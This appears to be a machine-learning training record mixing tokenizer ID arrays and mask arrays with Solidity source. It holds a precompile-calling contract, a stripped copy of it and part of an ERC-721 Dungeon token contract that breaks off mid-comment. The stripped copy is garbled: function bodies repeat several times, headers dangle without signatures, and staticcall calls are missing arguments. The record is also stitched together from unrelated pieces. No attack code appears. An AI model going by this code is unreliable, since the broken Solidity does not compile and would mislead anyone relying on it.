| uint[] public depositTimestamps; | 14,739,088 | [
1,
758,
1724,
11267,
526,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
2254,
8526,
1071,
443,
1724,
23761,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.3;
// TODO(asa): Limit assembly usage by using X.staticcall instead.
contract UsingPrecompiles {
address constant PROOF_OF_POSSESSION = address(0xff - 4);
/**
* @notice calculate a * b^x for fractions a, b to `decimals` precision
* @param aNumerator Numerator of first fraction
* @param aDenominator Denominator of first fraction
* @param bNumerator Numerator of exponentiated fraction
* @param bDenominator Denominator of exponentiated fraction
* @param exponent exponent to raise b to
* @param _decimals precision
* @return numerator/denominator of the computed quantity (not reduced).
*/
function fractionMulExp(
uint256 aNumerator,
uint256 aDenominator,
uint256 bNumerator,
uint256 bDenominator,
uint256 exponent,
uint256 _decimals
) public view returns (uint256, uint256) {
require(aDenominator != 0 && bDenominator != 0);
uint256 returnNumerator;
uint256 returnDenominator;
// solhint-disable-next-line no-inline-assembly
assembly {
let newCallDataPosition := mload(0x40)
mstore(0x40, add(newCallDataPosition, calldatasize))
mstore(newCallDataPosition, aNumerator)
mstore(add(newCallDataPosition, 32), aDenominator)
mstore(add(newCallDataPosition, 64), bNumerator)
mstore(add(newCallDataPosition, 96), bDenominator)
mstore(add(newCallDataPosition, 128), exponent)
mstore(add(newCallDataPosition, 160), _decimals)
let success := staticcall(
1050, // estimated gas cost for this function
0xfc,
newCallDataPosition,
0xc4, // input size, 6 * 32 = 192 bytes
0,
0
)
let returnDataSize := returndatasize
let returnDataPosition := mload(0x40)
mstore(0x40, add(returnDataPosition, returnDataSize))
returndatacopy(returnDataPosition, 0, returnDataSize)
switch success
case 0 {
revert(returnDataPosition, returnDataSize)
}
default {
returnNumerator := mload(returnDataPosition)
returnDenominator := mload(add(returnDataPosition, 32))
}
}
return (returnNumerator, returnDenominator);
}
/**
* @notice Returns the current epoch size in blocks.
* @return The current epoch size in blocks.
*/
function getEpochSize() public view returns (uint256) {
uint256 ret;
// solhint-disable-next-line no-inline-assembly
assembly {
let newCallDataPosition := mload(0x40)
let success := staticcall(1000, 0xf8, newCallDataPosition, 0, 0, 0)
returndatacopy(add(newCallDataPosition, 32), 0, 32)
ret := mload(add(newCallDataPosition, 32))
}
return ret;
}
function getEpochNumber() public view returns (uint256) {
uint256 epochSize = getEpochSize();
uint256 epochNumber = block.number / epochSize;
if (block.number % epochSize == 0) {
epochNumber = epochNumber - 1;
}
return epochNumber;
}
/**
* @notice Gets a validator address from the current validator set.
* @param index Index of requested validator in the validator set as sorted by the election.
* @return Address of validator at the requested index.
*/
function validatorAddressFromCurrentSet(uint256 index) public view returns (address) {
address validatorAddress;
assembly {
let newCallDataPosition := mload(0x40)
mstore(newCallDataPosition, index)
let success := staticcall(5000, 0xfa, newCallDataPosition, 32, 0, 0)
returndatacopy(add(newCallDataPosition, 64), 0, 32)
validatorAddress := mload(add(newCallDataPosition, 64))
}
return validatorAddress;
}
/**
* @notice Gets the size of the current elected validator set.
* @return Size of the current elected validator set.
*/
function numberValidatorsInCurrentSet() public view returns (uint256) {
uint256 numberValidators;
assembly {
let success := staticcall(5000, 0xf9, 0, 0, 0, 0)
let returnData := mload(0x40)
returndatacopy(returnData, 0, 32)
numberValidators := mload(returnData)
}
return numberValidators;
}
/**
* @notice Checks a BLS proof of possession.
* @param proofOfPossessionBytes The public key and signature of the proof of possession.
* @return True upon success.
*/
function checkProofOfPossession(address sender, bytes memory proofOfPossessionBytes)
public
returns (bool)
{
bool success;
(success, ) = PROOF_OF_POSSESSION.call.value(0).gas(gasleft())(
abi.encodePacked(sender, proofOfPossessionBytes)
);
return success;
}
}
| TODO(asa): Limit assembly usage by using X.staticcall instead. | contract UsingPrecompiles {
address constant PROOF_OF_POSSESSION = address(0xff - 4);
function fractionMulExp(
uint256 aNumerator,
uint256 aDenominator,
uint256 bNumerator,
uint256 bDenominator,
uint256 exponent,
uint256 _decimals
) public view returns (uint256, uint256) {
require(aDenominator != 0 && bDenominator != 0);
uint256 returnNumerator;
uint256 returnDenominator;
assembly {
let newCallDataPosition := mload(0x40)
mstore(0x40, add(newCallDataPosition, calldatasize))
mstore(newCallDataPosition, aNumerator)
mstore(add(newCallDataPosition, 32), aDenominator)
mstore(add(newCallDataPosition, 64), bNumerator)
mstore(add(newCallDataPosition, 96), bDenominator)
mstore(add(newCallDataPosition, 128), exponent)
mstore(add(newCallDataPosition, 160), _decimals)
let success := staticcall(
0xfc,
newCallDataPosition,
0,
0
)
let returnDataSize := returndatasize
let returnDataPosition := mload(0x40)
mstore(0x40, add(returnDataPosition, returnDataSize))
returndatacopy(returnDataPosition, 0, returnDataSize)
switch success
case 0 {
revert(returnDataPosition, returnDataSize)
}
default {
returnNumerator := mload(returnDataPosition)
returnDenominator := mload(add(returnDataPosition, 32))
}
}
return (returnNumerator, returnDenominator);
}
) public view returns (uint256, uint256) {
require(aDenominator != 0 && bDenominator != 0);
uint256 returnNumerator;
uint256 returnDenominator;
assembly {
let newCallDataPosition := mload(0x40)
mstore(0x40, add(newCallDataPosition, calldatasize))
mstore(newCallDataPosition, aNumerator)
mstore(add(newCallDataPosition, 32), aDenominator)
mstore(add(newCallDataPosition, 64), bNumerator)
mstore(add(newCallDataPosition, 96), bDenominator)
mstore(add(newCallDataPosition, 128), exponent)
mstore(add(newCallDataPosition, 160), _decimals)
let success := staticcall(
0xfc,
newCallDataPosition,
0,
0
)
let returnDataSize := returndatasize
let returnDataPosition := mload(0x40)
mstore(0x40, add(returnDataPosition, returnDataSize))
returndatacopy(returnDataPosition, 0, returnDataSize)
switch success
case 0 {
revert(returnDataPosition, returnDataSize)
}
default {
returnNumerator := mload(returnDataPosition)
returnDenominator := mload(add(returnDataPosition, 32))
}
}
return (returnNumerator, returnDenominator);
}
) public view returns (uint256, uint256) {
require(aDenominator != 0 && bDenominator != 0);
uint256 returnNumerator;
uint256 returnDenominator;
assembly {
let newCallDataPosition := mload(0x40)
mstore(0x40, add(newCallDataPosition, calldatasize))
mstore(newCallDataPosition, aNumerator)
mstore(add(newCallDataPosition, 32), aDenominator)
mstore(add(newCallDataPosition, 64), bNumerator)
mstore(add(newCallDataPosition, 96), bDenominator)
mstore(add(newCallDataPosition, 128), exponent)
mstore(add(newCallDataPosition, 160), _decimals)
let success := staticcall(
0xfc,
newCallDataPosition,
0,
0
)
let returnDataSize := returndatasize
let returnDataPosition := mload(0x40)
mstore(0x40, add(returnDataPosition, returnDataSize))
returndatacopy(returnDataPosition, 0, returnDataSize)
switch success
case 0 {
revert(returnDataPosition, returnDataSize)
}
default {
returnNumerator := mload(returnDataPosition)
returnDenominator := mload(add(returnDataPosition, 32))
}
}
return (returnNumerator, returnDenominator);
}
) public view returns (uint256, uint256) {
require(aDenominator != 0 && bDenominator != 0);
uint256 returnNumerator;
uint256 returnDenominator;
assembly {
let newCallDataPosition := mload(0x40)
mstore(0x40, add(newCallDataPosition, calldatasize))
mstore(newCallDataPosition, aNumerator)
mstore(add(newCallDataPosition, 32), aDenominator)
mstore(add(newCallDataPosition, 64), bNumerator)
mstore(add(newCallDataPosition, 96), bDenominator)
mstore(add(newCallDataPosition, 128), exponent)
mstore(add(newCallDataPosition, 160), _decimals)
let success := staticcall(
0xfc,
newCallDataPosition,
0,
0
)
let returnDataSize := returndatasize
let returnDataPosition := mload(0x40)
mstore(0x40, add(returnDataPosition, returnDataSize))
returndatacopy(returnDataPosition, 0, returnDataSize)
switch success
case 0 {
revert(returnDataPosition, returnDataSize)
}
default {
returnNumerator := mload(returnDataPosition)
returnDenominator := mload(add(returnDataPosition, 32))
}
}
return (returnNumerator, returnDenominator);
}
function getEpochSize() public view returns (uint256) {
uint256 ret;
assembly {
let newCallDataPosition := mload(0x40)
let success := staticcall(1000, 0xf8, newCallDataPosition, 0, 0, 0)
returndatacopy(add(newCallDataPosition, 32), 0, 32)
ret := mload(add(newCallDataPosition, 32))
}
return ret;
}
function getEpochSize() public view returns (uint256) {
uint256 ret;
assembly {
let newCallDataPosition := mload(0x40)
let success := staticcall(1000, 0xf8, newCallDataPosition, 0, 0, 0)
returndatacopy(add(newCallDataPosition, 32), 0, 32)
ret := mload(add(newCallDataPosition, 32))
}
return ret;
}
function getEpochNumber() public view returns (uint256) {
uint256 epochSize = getEpochSize();
uint256 epochNumber = block.number / epochSize;
if (block.number % epochSize == 0) {
epochNumber = epochNumber - 1;
}
return epochNumber;
}
function getEpochNumber() public view returns (uint256) {
uint256 epochSize = getEpochSize();
uint256 epochNumber = block.number / epochSize;
if (block.number % epochSize == 0) {
epochNumber = epochNumber - 1;
}
return epochNumber;
}
function validatorAddressFromCurrentSet(uint256 index) public view returns (address) {
address validatorAddress;
assembly {
let newCallDataPosition := mload(0x40)
mstore(newCallDataPosition, index)
let success := staticcall(5000, 0xfa, newCallDataPosition, 32, 0, 0)
returndatacopy(add(newCallDataPosition, 64), 0, 32)
validatorAddress := mload(add(newCallDataPosition, 64))
}
return validatorAddress;
}
function validatorAddressFromCurrentSet(uint256 index) public view returns (address) {
address validatorAddress;
assembly {
let newCallDataPosition := mload(0x40)
mstore(newCallDataPosition, index)
let success := staticcall(5000, 0xfa, newCallDataPosition, 32, 0, 0)
returndatacopy(add(newCallDataPosition, 64), 0, 32)
validatorAddress := mload(add(newCallDataPosition, 64))
}
return validatorAddress;
}
function numberValidatorsInCurrentSet() public view returns (uint256) {
uint256 numberValidators;
assembly {
let success := staticcall(5000, 0xf9, 0, 0, 0, 0)
let returnData := mload(0x40)
returndatacopy(returnData, 0, 32)
numberValidators := mload(returnData)
}
return numberValidators;
}
function numberValidatorsInCurrentSet() public view returns (uint256) {
uint256 numberValidators;
assembly {
let success := staticcall(5000, 0xf9, 0, 0, 0, 0)
let returnData := mload(0x40)
returndatacopy(returnData, 0, 32)
numberValidators := mload(returnData)
}
return numberValidators;
}
function checkProofOfPossession(address sender, bytes memory proofOfPossessionBytes)
public
returns (bool)
{
bool success;
(success, ) = PROOF_OF_POSSESSION.call.value(0).gas(gasleft())(
abi.encodePacked(sender, proofOfPossessionBytes)
);
return success;
}
}
| 5,466,348 | [
1,
6241,
12,
345,
69,
4672,
7214,
19931,
4084,
635,
1450,
1139,
18,
3845,
1991,
3560,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
11637,
1386,
2919,
1449,
288,
203,
225,
1758,
5381,
4629,
3932,
67,
3932,
67,
7057,
7042,
273,
1758,
12,
20,
5297,
300,
1059,
1769,
203,
203,
225,
445,
8330,
27860,
2966,
12,
203,
565,
2254,
5034,
279,
2578,
7385,
16,
203,
565,
2254,
5034,
279,
8517,
26721,
16,
203,
565,
2254,
5034,
324,
2578,
7385,
16,
203,
565,
2254,
5034,
324,
8517,
26721,
16,
203,
565,
2254,
5034,
9100,
16,
203,
565,
2254,
5034,
389,
31734,
203,
225,
262,
1071,
1476,
1135,
261,
11890,
5034,
16,
2254,
5034,
13,
288,
203,
565,
2583,
12,
69,
8517,
26721,
480,
374,
597,
324,
8517,
26721,
480,
374,
1769,
203,
565,
2254,
5034,
327,
2578,
7385,
31,
203,
565,
2254,
5034,
327,
8517,
26721,
31,
203,
565,
19931,
288,
203,
1377,
2231,
394,
1477,
751,
2555,
519,
312,
945,
12,
20,
92,
7132,
13,
203,
1377,
312,
2233,
12,
20,
92,
7132,
16,
527,
12,
2704,
1477,
751,
2555,
16,
745,
13178,
554,
3719,
203,
1377,
312,
2233,
12,
2704,
1477,
751,
2555,
16,
279,
2578,
7385,
13,
203,
1377,
312,
2233,
12,
1289,
12,
2704,
1477,
751,
2555,
16,
3847,
3631,
279,
8517,
26721,
13,
203,
1377,
312,
2233,
12,
1289,
12,
2704,
1477,
751,
2555,
16,
5178,
3631,
324,
2578,
7385,
13,
203,
1377,
312,
2233,
12,
1289,
12,
2704,
1477,
751,
2555,
16,
19332,
3631,
324,
8517,
26721,
13,
203,
1377,
312,
2233,
12,
1289,
12,
2704,
1477,
751,
2555,
16,
8038,
3631,
9100,
13,
203,
1377,
312,
2233,
12,
1289,
12,
2704,
2
]
|
//Address: 0xc99f359f73626e475ee86caab459a4b34ae93fea
//Contract name: DungeonTokenAuction
//Balance: 0 Ether
//Verification Date: 3/10/2018
//Transacion Count: 9
// CODE STARTS HERE
pragma solidity ^0.4.19;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title JointOwnable
* @dev Extension for the Ownable contract, where the owner can assign at most 2 other addresses
* to manage some functions of the contract, using the eitherOwner modifier.
* Note that onlyOwner modifier would still be accessible only for the original owner.
*/
contract JointOwnable is Ownable {
event AnotherOwnerAssigned(address indexed anotherOwner);
address public anotherOwner1;
address public anotherOwner2;
/**
* @dev Throws if called by any account other than the owner or anotherOwner.
*/
modifier eitherOwner() {
require(msg.sender == owner || msg.sender == anotherOwner1 || msg.sender == anotherOwner2);
_;
}
/**
* @dev Allows the current owner to assign another owner.
* @param _anotherOwner The address to another owner.
*/
function assignAnotherOwner1(address _anotherOwner) onlyOwner public {
require(_anotherOwner != 0);
AnotherOwnerAssigned(_anotherOwner);
anotherOwner1 = _anotherOwner;
}
/**
* @dev Allows the current owner to assign another owner.
* @param _anotherOwner The address to another owner.
*/
function assignAnotherOwner2(address _anotherOwner) onlyOwner public {
require(_anotherOwner != 0);
AnotherOwnerAssigned(_anotherOwner);
anotherOwner2 = _anotherOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens.
*/
contract ERC721 {
// Events
event Transfer(address indexed from, address indexed to, uint indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint indexed tokenId);
// ERC20 compatible functions.
// function name() public constant returns (string);
// function symbol() public constant returns (string);
function totalSupply() public view returns (uint);
function balanceOf(address _owner) public view returns (uint);
// Functions that define ownership.
function ownerOf(uint _tokenId) external view returns (address);
function transfer(address _to, uint _tokenId) external;
// Approval related functions, mainly used in auction contracts.
function approve(address _to, uint _tokenId) external;
function approvedFor(uint _tokenId) external view returns (address);
function transferFrom(address _from, address _to, uint _tokenId) external;
/**
* @dev Each non-fungible token owner can own more than one token at one time.
* Because each token is referenced by its unique ID, however,
* it can get difficult to keep track of the individual tokens that a user may own.
* To do this, the contract keeps a record of the IDs of each token that each user owns.
*/
mapping(address => uint[]) public ownerTokens;
}
/**
* @title The ERC-721 compliance token contract.
*/
contract ERC721Token is ERC721, Pausable {
/* ======== STATE VARIABLES ======== */
/**
* @dev A mapping from token IDs to the address that owns them.
*/
mapping(uint => address) tokenIdToOwner;
/**
* @dev A mapping from token ids to an address that has been approved to call
* transferFrom(). Each token can only have one approved address for transfer
* at any time. A zero value means no approval is outstanding.
*/
mapping (uint => address) tokenIdToApproved;
/**
* @dev A mapping from token ID to index of the ownerTokens' tokens list.
*/
mapping(uint => uint) tokenIdToOwnerTokensIndex;
/* ======== PUBLIC/EXTERNAL FUNCTIONS ======== */
/**
* @dev Returns the number of tokens owned by a specific address.
* @param _owner The owner address to check.
*/
function balanceOf(address _owner) public view returns (uint) {
return ownerTokens[_owner].length;
}
/**
* @dev Returns the address currently assigned ownership of a given token.
*/
function ownerOf(uint _tokenId) external view returns (address) {
require(tokenIdToOwner[_tokenId] != address(0));
return tokenIdToOwner[_tokenId];
}
/**
* @dev Returns the approved address of a given token.
*/
function approvedFor(uint _tokenId) external view returns (address) {
return tokenIdToApproved[_tokenId];
}
/**
* @dev Get an array of IDs of each token that an user owns.
*/
function getOwnerTokens(address _owner) external view returns(uint[]) {
return ownerTokens[_owner];
}
/**
* @dev External function to transfers a token to another address.
* @param _to The address of the recipient, can be a user or contract.
* @param _tokenId The ID of the token to transfer.
*/
function transfer(address _to, uint _tokenId) whenNotPaused external {
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
require(_to != address(this));
// You can only send your own token.
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/**
* @dev Grant another address the right to transfer a specific Kitty via
* transferFrom(). This is the preferred flow for transfering NFTs to contracts.
* @param _to The address to be granted transfer approval. Pass address(0) to
* clear all approvals.
* @param _tokenId The ID of the Kitty that can be transferred if this call succeeds.
*/
function approve(address _to, uint _tokenId) whenNotPaused external {
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
/**
* @dev Transfer a Kitty owned by another address, for which the calling address
* has previously been granted transfer approval by the owner.
* @param _from The address that owns the Kitty to be transfered.
* @param _to The address that should take ownership of the Kitty. Can be any address,
* including the caller.
* @param _tokenId The ID of the Kitty to be transferred.
*/
function transferFrom(address _from, address _to, uint _tokenId) whenNotPaused external {
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Check for approval and valid ownership
require(tokenIdToApproved[_tokenId] == msg.sender);
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
/* ======== INTERNAL/PRIVATE FUNCTIONS ======== */
/**
* @dev Assigns ownership of a specific token to an address.
*/
function _transfer(address _from, address _to, uint _tokenId) internal {
// Step 1: Remove token from _form address.
// When creating new token, _from is 0x0.
if (_from != address(0)) {
uint[] storage fromTokens = ownerTokens[_from];
uint tokenIndex = tokenIdToOwnerTokensIndex[_tokenId];
// Put the last token to the transferred token index and update its index in ownerTokensIndexes.
uint lastTokenId = fromTokens[fromTokens.length - 1];
// Do nothing if the transferring token is the last item.
if (_tokenId != lastTokenId) {
fromTokens[tokenIndex] = lastTokenId;
tokenIdToOwnerTokensIndex[lastTokenId] = tokenIndex;
}
fromTokens.length--;
}
// Step 2: Add token to _to address.
// Transfer ownership.
tokenIdToOwner[_tokenId] = _to;
// Add the _tokenId to ownerTokens[_to] and remember the index in ownerTokensIndexes.
tokenIdToOwnerTokensIndex[_tokenId] = ownerTokens[_to].length;
ownerTokens[_to].push(_tokenId);
// Emit the Transfer event.
Transfer(_from, _to, _tokenId);
}
/**
* @dev Marks an address as being approved for transferFrom(), overwriting any previous
* approval. Setting _approved to address(0) clears all transfer approval.
*/
function _approve(uint _tokenId, address _approved) internal {
tokenIdToApproved[_tokenId] = _approved;
}
/* ======== MODIFIERS ======== */
/**
* @dev Throws if _dungeonId is not created yet.
*/
modifier tokenExists(uint _tokenId) {
require(_tokenId < totalSupply());
_;
}
/**
* @dev Checks if a given address is the current owner of a particular token.
* @param _claimant The address we are validating against.
* @param _tokenId Token ID
*/
function _owns(address _claimant, uint _tokenId) internal view returns (bool) {
return tokenIdToOwner[_tokenId] == _claimant;
}
}
contract EDStructs {
/**
* @dev The main Dungeon struct. Every dungeon in the game is represented by this structure.
* A dungeon is consists of an unlimited number of floors for your heroes to challenge,
* the power level of a dungeon is encoded in the floorGenes. Some dungeons are in fact more "challenging" than others,
* the secret formula for that is left for user to find out.
*
* Each dungeon also has a "training area", heroes can perform trainings and upgrade their stat,
* and some dungeons are more effective in the training, which is also a secret formula!
*
* When player challenge or do training in a dungeon, the fee will be collected as the dungeon rewards,
* which will be rewarded to the player who successfully challenged the current floor.
*
* Each dungeon fits in fits into three 256-bit words.
*/
struct Dungeon {
// Each dungeon has an ID which is the index in the storage array.
// The timestamp of the block when this dungeon is created.
uint32 creationTime;
// The status of the dungeon, each dungeon can have 5 status, namely:
// 0: Active | 1: Transport Only | 2: Challenge Only | 3: Train Only | 4: InActive
uint8 status;
// The dungeon's difficulty, the higher the difficulty,
// normally, the "rarer" the seedGenes, the higher the diffculty,
// and the higher the contribution fee it is to challenge, train, and transport to the dungeon,
// the formula for the contribution fee is in DungeonChallenge and DungeonTraining contracts.
// A dungeon's difficulty never change.
uint8 difficulty;
// The dungeon's capacity, maximum number of players allowed to stay on this dungeon.
// The capacity of the newbie dungeon (Holyland) is set at 0 (which is infinity).
// Using 16-bit unsigned integers can have a maximum of 65535 in capacity.
// A dungeon's capacity never change.
uint16 capacity;
// The current floor number, a dungeon is consists of an umlimited number of floors,
// when there is heroes successfully challenged a floor, the next floor will be
// automatically generated. Using 32-bit unsigned integer can have a maximum of 4 billion floors.
uint32 floorNumber;
// The timestamp of the block when the current floor is generated.
uint32 floorCreationTime;
// Current accumulated rewards, successful challenger will get a large proportion of it.
uint128 rewards;
// The seed genes of the dungeon, it is used as the base gene for first floor,
// some dungeons are rarer and some are more common, the exact details are,
// of course, top secret of the game!
// A dungeon's seedGenes never change.
uint seedGenes;
// The genes for current floor, it encodes the difficulty level of the current floor.
// We considered whether to store the entire array of genes for all floors, but
// in order to save some precious gas we're willing to sacrifice some functionalities with that.
uint floorGenes;
}
/**
* @dev The main Hero struct. Every hero in the game is represented by this structure.
*/
struct Hero {
// Each hero has an ID which is the index in the storage array.
// The timestamp of the block when this dungeon is created.
uint64 creationTime;
// The timestamp of the block where a challenge is performed, used to calculate when a hero is allowed to engage in another challenge.
uint64 cooldownStartTime;
// Every time a hero challenge a dungeon, its cooldown index will be incremented by one.
uint32 cooldownIndex;
// The seed of the hero, the gene encodes the power level of the hero.
// This is another top secret of the game! Hero's gene can be upgraded via
// training in a dungeon.
uint genes;
}
}
contract DungeonTokenInterface is ERC721, EDStructs {
/**
* @notice Limits the number of dungeons the contract owner can ever create.
*/
uint public constant DUNGEON_CREATION_LIMIT = 1024;
/**
* @dev Name of token.
*/
string public constant name = "Dungeon";
/**
* @dev Symbol of token.
*/
string public constant symbol = "DUNG";
/**
* @dev An array containing the Dungeon struct, which contains all the dungeons in existance.
* The ID for each dungeon is the index of this array.
*/
Dungeon[] public dungeons;
/**
* @dev The external function that creates a new dungeon and stores it, only contract owners
* can create new token, and will be restricted by the DUNGEON_CREATION_LIMIT.
* Will generate a Mint event, a NewDungeonFloor event, and a Transfer event.
*/
function createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _seedGenes, uint _floorGenes, address _owner) external returns (uint);
/**
* @dev The external function to set dungeon status by its ID,
* refer to DungeonStructs for more information about dungeon status.
* Only contract owners can alter dungeon state.
*/
function setDungeonStatus(uint _id, uint _newStatus) external;
/**
* @dev The external function to add additional dungeon rewards by its ID,
* only contract owners can alter dungeon state.
*/
function addDungeonRewards(uint _id, uint _additinalRewards) external;
/**
* @dev The external function to add another dungeon floor by its ID,
* only contract owners can alter dungeon state.
*/
function addDungeonNewFloor(uint _id, uint _newRewards, uint _newFloorGenes) external;
}
/**
* @title The ERC-721 compliance token contract for the Dungeon tokens.
* @dev See the DungeonStructs contract to see the details of the Dungeon token data structure.
*/
contract DungeonToken is DungeonTokenInterface, ERC721Token, JointOwnable {
/* ======== EVENTS ======== */
/**
* @dev The Mint event is fired whenever a new dungeon is created.
*/
event Mint(address indexed owner, uint newTokenId, uint difficulty, uint capacity, uint seedGenes);
/* ======== PUBLIC/EXTERNAL FUNCTIONS ======== */
/**
* @dev Returns the total number of tokens currently in existence.
*/
function totalSupply() public view returns (uint) {
return dungeons.length;
}
/**
* @dev The external function that creates a new dungeon and stores it, only contract owners
* can create new token, and will be restricted by the DUNGEON_CREATION_LIMIT.
* Will generate a Mint event, a NewDungeonFloor event, and a Transfer event.
